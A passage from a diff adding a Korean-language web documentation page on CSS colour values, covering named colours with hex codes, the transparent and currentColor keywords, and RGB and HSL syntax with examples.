+ <td style="text-align: center;"><code>darkviolet</code></td>
+ <td><code>#9400d3</code></td>
+ <td style="background: darkviolet;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>deeppink</code></td>
+ <td><code>#ff1493</code></td>
+ <td style="background: deeppink;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>deepskyblue</code></td>
+ <td><code>#00bfff</code></td>
+ <td style="background: deepskyblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>dimgray</code></td>
+ <td><code>#696969</code></td>
+ <td style="background: dimgray;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>dimgrey</code></td>
+ <td><code>#696969</code></td>
+ <td style="background: dimgrey;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>dodgerblue</code></td>
+ <td><code>#1e90ff</code></td>
+ <td style="background: dodgerblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>firebrick</code></td>
+ <td><code>#b22222</code></td>
+ <td style="background: firebrick;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>floralwhite</code></td>
+ <td><code>#fffaf0</code></td>
+ <td style="background: floralwhite;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>forestgreen</code></td>
+ <td><code>#228b22</code></td>
+ <td style="background: forestgreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>gainsboro</code></td>
+ <td><code>#dcdcdc</code></td>
+ <td style="background: gainsboro;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>ghostwhite</code></td>
+ <td><code>#f8f8ff</code></td>
+ <td style="background: ghostwhite;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>gold</code></td>
+ <td><code>#ffd700</code></td>
+ <td style="background: gold;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>goldenrod</code></td>
+ <td><code>#daa520</code></td>
+ <td style="background: goldenrod;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>greenyellow</code></td>
+ <td><code>#adff2f</code></td>
+ <td style="background: greenyellow ;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>grey</code></td>
+ <td><code>#808080</code></td>
+ <td style="background: grey;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>honeydew</code></td>
+ <td><code>#f0fff0</code></td>
+ <td style="background: honeydew;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>hotpink</code></td>
+ <td><code>#ff69b4</code></td>
+ <td style="background: hotpink;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>indianred</code></td>
+ <td><code>#cd5c5c</code></td>
+ <td style="background: indianred;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>indigo</code></td>
+ <td><code>#4b0082</code></td>
+ <td style="background: indigo;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>ivory</code></td>
+ <td><code>#fffff0</code></td>
+ <td style="background: ivory;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>khaki</code></td>
+ <td><code>#f0e68c</code></td>
+ <td style="background: khaki;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lavender</code></td>
+ <td><code>#e6e6fa</code></td>
+ <td style="background: lavender;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lavenderblush</code></td>
+ <td><code>#fff0f5</code></td>
+ <td style="background: lavenderblush ;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lawngreen</code></td>
+ <td><code>#7cfc00</code></td>
+ <td style="background: lawngreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lemonchiffon</code></td>
+ <td><code>#fffacd</code></td>
+ <td style="background: lemonchiffon;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightblue</code></td>
+ <td><code>#add8e6</code></td>
+ <td style="background: lightblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightcoral</code></td>
+ <td><code>#f08080</code></td>
+ <td style="background: lightcoral;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightcyan</code></td>
+ <td><code>#e0ffff</code></td>
+ <td style="background: lightcyan;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightgoldenrodyellow</code></td>
+ <td><code>#fafad2</code></td>
+ <td style="background: lightgoldenrodyellow ;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightgray</code></td>
+ <td><code>#d3d3d3</code></td>
+ <td style="background: lightgray;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightgreen</code></td>
+ <td><code>#90ee90</code></td>
+ <td style="background: lightgreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightgrey</code></td>
+ <td><code>#d3d3d3</code></td>
+ <td style="background: lightgrey;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightpink</code></td>
+ <td><code>#ffb6c1</code></td>
+ <td style="background: lightpink;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightsalmon</code></td>
+ <td><code>#ffa07a</code></td>
+ <td style="background: lightsalmon;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightseagreen</code></td>
+ <td><code>#20b2aa</code></td>
+ <td style="background: lightseagreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightskyblue</code></td>
+ <td><code>#87cefa</code></td>
+ <td style="background: lightskyblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightslategray</code></td>
+ <td><code>#778899</code></td>
+ <td style="background: lightslategray;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightslategrey</code></td>
+ <td><code>#778899</code></td>
+ <td style="background: lightslategrey;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightsteelblue</code></td>
+ <td><code>#b0c4de</code></td>
+ <td style="background: lightsteelblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>lightyellow</code></td>
+ <td><code>#ffffe0</code></td>
+ <td style="background: lightyellow;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>limegreen</code></td>
+ <td><code>#32cd32</code></td>
+ <td style="background: limegreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>linen</code></td>
+ <td><code>#faf0e6</code></td>
+ <td style="background: linen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>magenta</code><br>
+ (<code>fuchsia</code>의 다른 이름)</td>
+ <td><code>#ff00ff</code></td>
+ <td style="background: magenta;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>mediumaquamarine</code></td>
+ <td><code>#66cdaa</code></td>
+ <td style="background: mediumaquamarine;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>mediumblue</code></td>
+ <td><code>#0000cd</code></td>
+ <td style="background: mediumblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>mediumorchid</code></td>
+ <td><code>#ba55d3</code></td>
+ <td style="background: mediumorchid;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>mediumpurple</code></td>
+ <td><code>#9370db</code></td>
+ <td style="background: mediumpurple;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>mediumseagreen</code></td>
+ <td><code>#3cb371</code></td>
+ <td style="background: mediumseagreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>mediumslateblue</code></td>
+ <td><code>#7b68ee</code></td>
+ <td style="background: mediumslateblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>mediumspringgreen</code></td>
+ <td><code>#00fa9a</code></td>
+ <td style="background: mediumspringgreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>mediumturquoise</code></td>
+ <td><code>#48d1cc</code></td>
+ <td style="background: mediumturquoise;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>mediumvioletred</code></td>
+ <td><code>#c71585</code></td>
+ <td style="background: mediumvioletred;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>midnightblue</code></td>
+ <td><code>#191970</code></td>
+ <td style="background: midnightblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>mintcream</code></td>
+ <td><code>#f5fffa</code></td>
+ <td style="background: mintcream;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>mistyrose</code></td>
+ <td><code>#ffe4e1</code></td>
+ <td style="background: mistyrose;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>moccasin</code></td>
+ <td><code>#ffe4b5</code></td>
+ <td style="background: moccasin;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>navajowhite</code></td>
+ <td><code>#ffdead</code></td>
+ <td style="background: navajowhite;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>oldlace</code></td>
+ <td><code>#fdf5e6</code></td>
+ <td style="background: oldlace;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>olivedrab</code></td>
+ <td><code>#6b8e23</code></td>
+ <td style="background: olivedrab;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>orangered</code></td>
+ <td><code>#ff4500</code></td>
+ <td style="background: orangered;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>orchid</code></td>
+ <td><code>#da70d6</code></td>
+ <td style="background: orchid;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>palegoldenrod</code></td>
+ <td><code>#eee8aa</code></td>
+ <td style="background: palegoldenrod;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>palegreen</code></td>
+ <td><code>#98fb98</code></td>
+ <td style="background: palegreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>paleturquoise</code></td>
+ <td><code>#afeeee</code></td>
+ <td style="background: paleturquoise;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>palevioletred</code></td>
+ <td><code>#db7093</code></td>
+ <td style="background: palevioletred;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>papayawhip</code></td>
+ <td><code>#ffefd5</code></td>
+ <td style="background: papayawhip;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>peachpuff</code></td>
+ <td><code>#ffdab9</code></td>
+ <td style="background: peachpuff;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>peru</code></td>
+ <td><code>#cd853f</code></td>
+ <td style="background: peru;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>pink</code></td>
+ <td><code>#ffc0cb</code></td>
+ <td style="background: pink;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>plum</code></td>
+ <td><code>#dda0dd</code></td>
+ <td style="background: plum;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>powderblue</code></td>
+ <td><code>#b0e0e6</code></td>
+ <td style="background: powderblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>rosybrown</code></td>
+ <td><code>#bc8f8f</code></td>
+ <td style="background: rosybrown;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>royalblue</code></td>
+ <td><code>#4169e1</code></td>
+ <td style="background: royalblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>saddlebrown</code></td>
+ <td><code>#8b4513</code></td>
+ <td style="background: saddlebrown;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>salmon</code></td>
+ <td><code>#fa8072</code></td>
+ <td style="background: salmon;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>sandybrown</code></td>
+ <td><code>#f4a460</code></td>
+ <td style="background: sandybrown;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>seagreen</code></td>
+ <td><code>#2e8b57</code></td>
+ <td style="background: seagreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>seashell</code></td>
+ <td><code>#fff5ee</code></td>
+ <td style="background: seashell;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>sienna</code></td>
+ <td><code>#a0522d</code></td>
+ <td style="background: sienna;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>skyblue</code></td>
+ <td><code>#87ceeb</code></td>
+ <td style="background: skyblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>slateblue</code></td>
+ <td><code>#6a5acd</code></td>
+ <td style="background: slateblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>slategray</code></td>
+ <td><code>#708090</code></td>
+ <td style="background: slategray;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>slategrey</code></td>
+ <td><code>#708090</code></td>
+ <td style="background: slategrey;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>snow</code></td>
+ <td><code>#fffafa</code></td>
+ <td style="background: snow;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>springgreen</code></td>
+ <td><code>#00ff7f</code></td>
+ <td style="background: springgreen;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>steelblue</code></td>
+ <td><code>#4682b4</code></td>
+ <td style="background: steelblue;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>tan</code></td>
+ <td><code>#d2b48c</code></td>
+ <td style="background: tan;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>thistle</code></td>
+ <td><code>#d8bfd8</code></td>
+ <td style="background: thistle;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>tomato</code></td>
+ <td><code>#ff6347</code></td>
+ <td style="background: tomato;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>turquoise</code></td>
+ <td><code>#40e0d0</code></td>
+ <td style="background: turquoise;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>violet</code></td>
+ <td><code>#ee82ee</code></td>
+ <td style="background: violet;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>wheat</code></td>
+ <td><code>#f5deb3</code></td>
+ <td style="background: wheat;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>whitesmoke</code></td>
+ <td><code>#f5f5f5</code></td>
+ <td style="background: whitesmoke;"></td>
+ </tr>
+ <tr>
+ <td style="text-align: center;"><code>yellowgreen</code></td>
+ <td><code>#9acd32</code></td>
+ <td style="background: yellowgreen;"></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS4 Colors")}}</td>
+ <td style="text-align: center;"><a href="https://en.wikipedia.org/wiki/Eric_A._Meyer#Personal_life"><code>rebeccapurple</code></a></td>
+ <td><code>#663399</code></td>
+ <td style="background: rebeccapurple;"></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="transparent_키워드"><code><a id="transparent" name="transparent">transparent</a></code> 키워드</h3>
+
+<p><code>transparent</code> 키워드는 완전히 투명한 색으로, "색"을 입힌 항목의 뒷편이 모두 보입니다. 기술적으로 <code>transparent</code>는 <code>rgba(0,0,0,0)</code>의 짧은 이름입니다.</p>
+
+<div class="note">
+<p><strong>호환성 참고:</strong> {{cssxref("gradient")}} 등 특정 상황에서 의도하지 않은 결과를 피하기 위해, 현재 CSS 명세에선 <code>transparent</code>를 <a href="https://www.w3.org/TR/2012/CR-css3-images-20120417/#color-stop-syntax">투명도를 미리 곱한 색 공간</a>에서 계산하도록 명시하고 있습니다. 그러나 오래된 브라우저에서는 투명도 0의 검정으로 취급할 수 있음에 주의하세요.</p>
+</div>
+
+<div class="note">
+<p><strong>역사 참고:</strong> <code>transparent</code>는 CSS Level 2 (Revision 1) 전까지 실제 색상이 아니었습니다. 대신 {{cssxref("background")}}와 {{cssxref("border")}}의 <code>&lt;color&gt;</code> 자리에 사용하는 특별한 키워드로, 상속받은 단색을 덮어 쓸 수 있도록 추가됐었습니다. CSS Colors Level 3에서 알파 채널이 추가되면서 <code>transparent</code>도 실제 색상으로 재정의되었습니다. 덕분에 <code>&lt;color&gt;</code> 값 어디에나 사용할 수 있습니다.</p>
+</div>
+
+<h3 id="currentColor_키워드"><code><a id="currentColor" name="currentColor">currentColor</a></code> 키워드</h3>
+
+<p><code>currentColor</code> 키워드는 요소의 {{Cssxref("color")}} 속성값을 나타냅니다. 이를 통해 다른 속성이 <code>color</code> 속성값을 따라가도록 설정할 수 있습니다.</p>
+
+<p><code>color</code> 속성의 값으로 <code>currentColor</code> 키워드를 사용하면, 값을 상속받은 <code>color</code> 속성에서 대신 가져옵니다.</p>
+
+<h4 id="currentColor_예제"><code>currentColor</code> 예제</h4>
+
+<pre class="brush: html">&lt;div style="color: blue; border: 1px dashed currentColor;"&gt;
+ 이 글의 색은 파랑입니다.
+ &lt;div style="background: currentColor; height:9px;"&gt;&lt;/div&gt;
+ 이 블록은 파란 테두리로 둘러쌓여 있습니다.
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample("currentColor_예제")}}</p>
+
+<h3 id="RGB_색상">RGB 색상</h3>
+
+<p>RGB 색상 모델은 빨강, 초록, 파랑을 통해 특정 색을 표현합니다. 선택사항으로 색의 투명도를 알파 채널로 표현할 수 있습니다.</p>
+
+<h4 id="구문_2">구문</h4>
+
+<p>RGB 색상은 # 뒤의 16진수 표기법이나 함수형 표기법(<a id="rgb()" name="rgb()"><code>rgb()</code></a>, <a id="rgba()" name="rgba()"><code>rgba()</code></a>)으로 표현할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> CSS Colors Level 4부터 <code>rgba()</code>는 <code>rgb()</code>의 다른 이름입니다. Level 4 표준을 구현한 브라우저에서는 같은 매개변수를 받고 동일하게 행동합니다.</p>
+</div>
+
+<dl>
+ <dt>16진수 표기법: <code>#RRGGBB[AA]</code></dt>
+ <dd><code>R</code>(빨강), <code>G</code>(초록), <code>B</code>(파랑), <code>A</code>(알파)는 16진수 문자(0-9, A-F)입니다. <code>A</code>는 선택사항입니다. 예를 들어 <code>#ff0000</code>은 <code>#ff0000ff</code>와 같습니다.</dd>
+ <dt>16진수 표기법: <code>#RGB[A]</code></dt>
+ <dd><code>R</code>(빨강), <code>G</code>(초록), <code>B</code>(파랑), <code>A</code>(알파)는 16진수 문자(0-9, A-F)입니다. <code>A</code>는 선택사항입니다. 세 글자 표기법(<code>#RGB</code>)은 여섯 글자 표기법(<code>#RRGGBB</code>)의 단축 표현입니다. 예를 들어 <code>#f09</code>는 <code>#ff0099</code>와 같습니다. 비슷하게 네 글자 표기법(<code>#RGBA</code>)은 여덟 글자 표기법(<code>#RRGGBBAA</code>)의 단축 표기법이다. 예를 들어 <code>#0f38</code>은 <code>#00ff3388</code>과 같습니다.</dd>
+ <dt>함수형 표기법: <code>rgb(R, G, B[, A])</code> 또는 <code>rgba(R, G, B, A)</code></dt>
+ <dd><code>R</code>(빨강), <code>G</code>(초록), <code>B</code>(파랑)은 {{cssxref("&lt;integer&gt;")}}나 {{cssxref("&lt;percentage&gt;")}}이며 숫자 <code>255</code>가 <code>100%</code>와 동일합니다. <code>A</code>(알파)는 0과 1 사이의 {{cssxref("&lt;number&gt;")}}거나 {{cssxref("&lt;percentage&gt;")}}이며 숫자 <code>1</code>이 <code>100%</code>(불투명)와 동일합니다.</dd>
+ <dt>함수형 표기법: <code>rgb(R G B[ A])</code> 또는 <code>rgba(R G B A)</code></dt>
+ <dd>CSS Colors Level 4부터 공백으로 구분한 값을 함수형 표기법과 사용할 수 있습니다.</dd>
+</dl>
+
+<h4 id="예제">예제</h4>
+
+<h5 id="다양한_RGB_구문">다양한 RGB 구문</h5>
+
+<p>다음 예제는 한 가지 색상을 만들 때 쓸 수 있는 다양한 RGB 색상 구문을 보입니다.</p>
+
+<pre>/* 아래 모든 구문은 불투명한 핫핑크를 표현합니다. */
+
+/* 16진수 구문 */
+#f09
+#F09
+#ff0099
+#FF0099
+
+/* 함수형 구문 */
+rgb(255,0,153)
+rgb(255, 0, 153)
+rgb(255, 0, 153.0) /* 오류! 소수점 금지 */
+rgb(100%,0%,60%)
+rgb(100%, 0%, 60%)
+rgb(100%, 0, 60%) /* 오류! 정수와 백분율 혼용 금지 */
+rgb(255 0 153)
+
+/* 16진수와 알파 값 */
+#f09f
+#F09F
+#ff0099ff
+#FF0099FF
+
+/* 함수형 구문과 알파 값 */
+rgb(255, 0, 153, 1)
+rgb(255, 0, 153, 100%)
+
+/* 공백 구분 구문 */
+rgb(255 0 153 / 1)
+rgb(255 0 153 / 100%)
+
+/* 정숫값을 사용한 함수형 구문 */
+rgb(255, 0, 153.6, 1)
+rgb(1e2, .5e1, .5e0, +.25e2%)
+</pre>
+
+<h5 id="다양한_RGB_투명도_구문">다양한 RGB 투명도 구문</h5>
+
+<pre>/* 16진수 구문 */
+#3a30 <span style="background: #3a30;"> /* 0% opaque green */ </span>
+#3A3F <span style="background: #3A3F;"> /* full opaque green */ </span>
+#33aa3300 <span style="background: #33aa3300;"> /* 0% opaque green */ </span>
+#33AA3388 <span style="background: #33AA3388;"> /* 50% opaque green */ </span>
+
+/* 함수형 구문 */
+rgba(51, 170, 51, .1) <span style="background: rgba(51, 170, 51, .1);"> /* 10% opaque green */ </span>
+rgba(51, 170, 51, .4) <span style="background: rgba(51, 170, 51, .4);"> /* 40% opaque green */ </span>
+rgba(51, 170, 51, .7) <span style="background: rgba(51, 170, 51, .7);"> /* 70% opaque green */ </span>
+rgba(51, 170, 51, 1) <span style="background: rgba(51, 170, 51, 1);"> /* full opaque green */ </span>
+
+/* 공백 구분 구문 */
+rgba(51 170 51 / 0.4) <span> /* 40% opaque green */ </span>
+rgba(51 170 51 / 40%) <span> /* 40% opaque green */
+
+</span>/* 정숫값을 사용한 함수형 구문 */
+rgba(255, 0, 153.6, 1)
+rgba(1e2, .5e1, .5e0, +.25e2%)
+</pre>
+
+<h3 id="HSL_색상">HSL 색상</h3>
+
+<p>HSL 색상 모델은 색상, 채도, 명도를 통해 특정 색상을 표현합니다. 선택사항으로 색의 투명도를 알파 채널로 표현할 수 있습니다.</p>
+
+<p>많은 디자이너들은 색상, 채도, 명도를 따로 조절할 수 있는 HSL이 RGB보다 더 직관적임을 발견합니다. 또한 HSL을 사용하면 짝이 맞는 색(예컨대 한 가지 색의 여러 밝기) 여러 종류를 더 쉽게 만들 수 있습니다.</p>
+
+<h4 id="구문_3">구문</h4>
+
+<p>HSL 색상은 함수형 <a id="hsl()" name="hsl()"><code>hsl()</code></a>과 <a id="hsla()" name="hsla()"><code>hsla()</code></a> 표기법을 사용합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> CSS Colors Level 4부터 <code>hsla()</code>는 <code>hsl()</code>의 다른 이름입니다. Level 4 표준을 구현한 브라우저에서는 같은 매개변수를 받고 동일하게 행동합니다.</p>
+</div>
+
+<dl>
+ <dt>함수형 표기법: <code>hsl(H, S, L[, A])</code> 또는 <code>hsla(H, S, L, A)</code></dt>
+ <dd><code>H</code>(색상)은 색상원에서의 {{cssxref("&lt;angle&gt;")}}로 {{SpecName("CSS4 Colors","#the-hsl-notation")}} 기준 <code>deg</code>, <code>rad</code>, <code>grad</code>, <code>turn</code>을 사용할 수 있습니다. 단위 없이 {{cssxref("&lt;number&gt;")}}로 표현할 경우 {{SpecName("CSS3 Colors", "#hsl-color")}}에 명시된 것과 같이 각도로 해석합니다. 정의에 따르면 빨강=<code>0deg</code>=<code>360deg</code>이며 다른 색은 (초록=<code>120deg</code>, 파랑=<code>240deg</code> 등) 원을 따라 분포하고 있습니다. <code>&lt;angle&gt;</code>이라면 암묵적으로 원의 주위를 한 바퀴 돕니다. 예컨대 <code>-120deg</code>=<code>240deg</code>, <code>480deg</code>=<code>120deg</code>, <code>-1turn</code>=<code>1turn</code> 입니다.</dd>
+ <dd><code>S</code>(채도)와 <code>L</code>(명도)는 {{cssxref("&lt;percentage&gt;")}}입니다. <code>100%</code> <strong>채도는</strong> 제일 진한 색이며 <code>0%</code>는 회색입니다. <code>100%</code> <strong>명도</strong>는 흰색, <code>0%</code> 명도는 검은색, <code>50%</code> 명도는 "보통" 색입니다.</dd>
+ <dd><code>A</code>(알파)는 0과 1 사이의 {{cssxref("&lt;number&gt;")}}거나 {{cssxref("&lt;percentage&gt;")}}이며 숫자 <code>1</code>이 <code>100%</code>(불투명)와 동일합니다.</dd>
+ <dt>함수형 표기법: <code>hsl(H S L[ A])</code> 또는 <code>hsla(H S L A)</code></dt>
+ <dd>CSS Colors Level 4부터 공백으로 구분한 값을 함수형 표기법과 사용할 수 있습니다.</dd>
+</dl>
+
+<h4 id="예제_2">예제</h4>
+
+<h5 id="다양한_HSL_구문">다양한 HSL 구문</h5>
+
+<pre style="text-shadow: rgba(255,255,255,0.4) -1px -1px;">/* 아래 모든 구문은 라벤더를 표현합니다. */
+hsl(270,60%,70%)
+hsl(270, 60%, 70%)
+hsl(270 60% 70%)
+hsl(270deg, 60%, 70%)
+hsl(4.71239rad, 60%, 70%)
+hsl(.75turn, 60%, 70%)
+
+/* 아래 모든 구문은 85% 투명한 라벤더를 표현합니다. */
+hsl(270, 60%, 50%, .15)
+hsl(270, 60%, 50%, 15%)
+hsl(270 60% 50% / .15)
+hsl(270 60% 50% / 15%)
+</pre>
+
+<h5 id="제일_진한_색상">제일 진한 색상</h5>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">표현</th>
+ <th scope="col">설명</th>
+ <th scope="col">미리보기</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>hsl(0, 100%, 50%)</code></td>
+ <td>red</td>
+ <td style="background: hsl(0,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(30, 100%, 50%)</code></td>
+ <td>orange</td>
+ <td style="background: hsl(30,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(60, 100%, 50%)</code></td>
+ <td>yellow</td>
+ <td style="background: hsl(60,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(90, 100%, 50%)</code></td>
+ <td>lime green</td>
+ <td style="background: hsl(90,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(120, 100%, 50%)</code></td>
+ <td>green</td>
+ <td style="background: hsl(120,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(150, 100%, 50%)</code></td>
+ <td>blue-green</td>
+ <td style="background: hsl(150,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(180, 100%, 50%)</code></td>
+ <td>cyan</td>
+ <td style="background: hsl(180,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(210, 100%, 50%)</code></td>
+ <td>sky blue</td>
+ <td style="background: hsl(210,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(240, 100%, 50%)</code></td>
+ <td>blue</td>
+ <td style="background: hsl(240,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(270, 100%, 50%)</code></td>
+ <td>purple</td>
+ <td style="background: hsl(270,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(300, 100%, 50%)</code></td>
+ <td>magenta</td>
+ <td style="background: hsl(300,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(330, 100%, 50%)</code></td>
+ <td>pink</td>
+ <td style="background: hsl(330,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(360, 100%, 50%)</code></td>
+ <td>red</td>
+ <td style="background: hsl(360,100%,50%);"></td>
+ </tr>
+ </tbody>
+</table>
+
+<h5 id="밝고_어두운_초록">밝고 어두운 초록</h5>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Notation</th>
+ <th scope="col">Description</th>
+ <th scope="col">Live</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>hsl(120, 100%, 0%)</code></td>
+ <td>black</td>
+ <td style="background: hsl(120,100%,0%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(120, 100%, 20%)</code></td>
+ <td></td>
+ <td style="background: hsl(120,100%,20%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(120, 100%, 40%)</code></td>
+ <td></td>
+ <td style="background: hsl(120,100%,40%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(120, 100%, 60%)</code></td>
+ <td></td>
+ <td style="background: hsl(120,100%,60%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(120, 100%, 80%)</code></td>
+ <td></td>
+ <td style="background: hsl(120,100%,80%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(120, 100%, 100%)</code></td>
+ <td>white</td>
+ <td style="background: hsl(120,100%,100%);"></td>
+ </tr>
+ </tbody>
+</table>
+
+<h5 id="진하고_옅은_초록">진하고 옅은 초록</h5>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Notation</th>
+ <th scope="col">Description</th>
+ <th scope="col">Live</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>hsl(120, 100%, 50%)</code></td>
+ <td>green</td>
+ <td style="background: hsl(120,100%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(120, 80%, 50%)</code></td>
+ <td></td>
+ <td style="background: hsl(120,80%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(120, 60%, 50%)</code></td>
+ <td></td>
+ <td style="background: hsl(120,60%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(120, 40%, 50%)</code></td>
+ <td></td>
+ <td style="background: hsl(120,40%,50%);"></td>
+ </tr>
+ <tr>
+ <td><code>hsl(120, 20%, 50%)</code></td>
+ <td></td>
+ <td style="background: hsl(120,20%,50%);"></td>
+ </tr>
+ <tr>
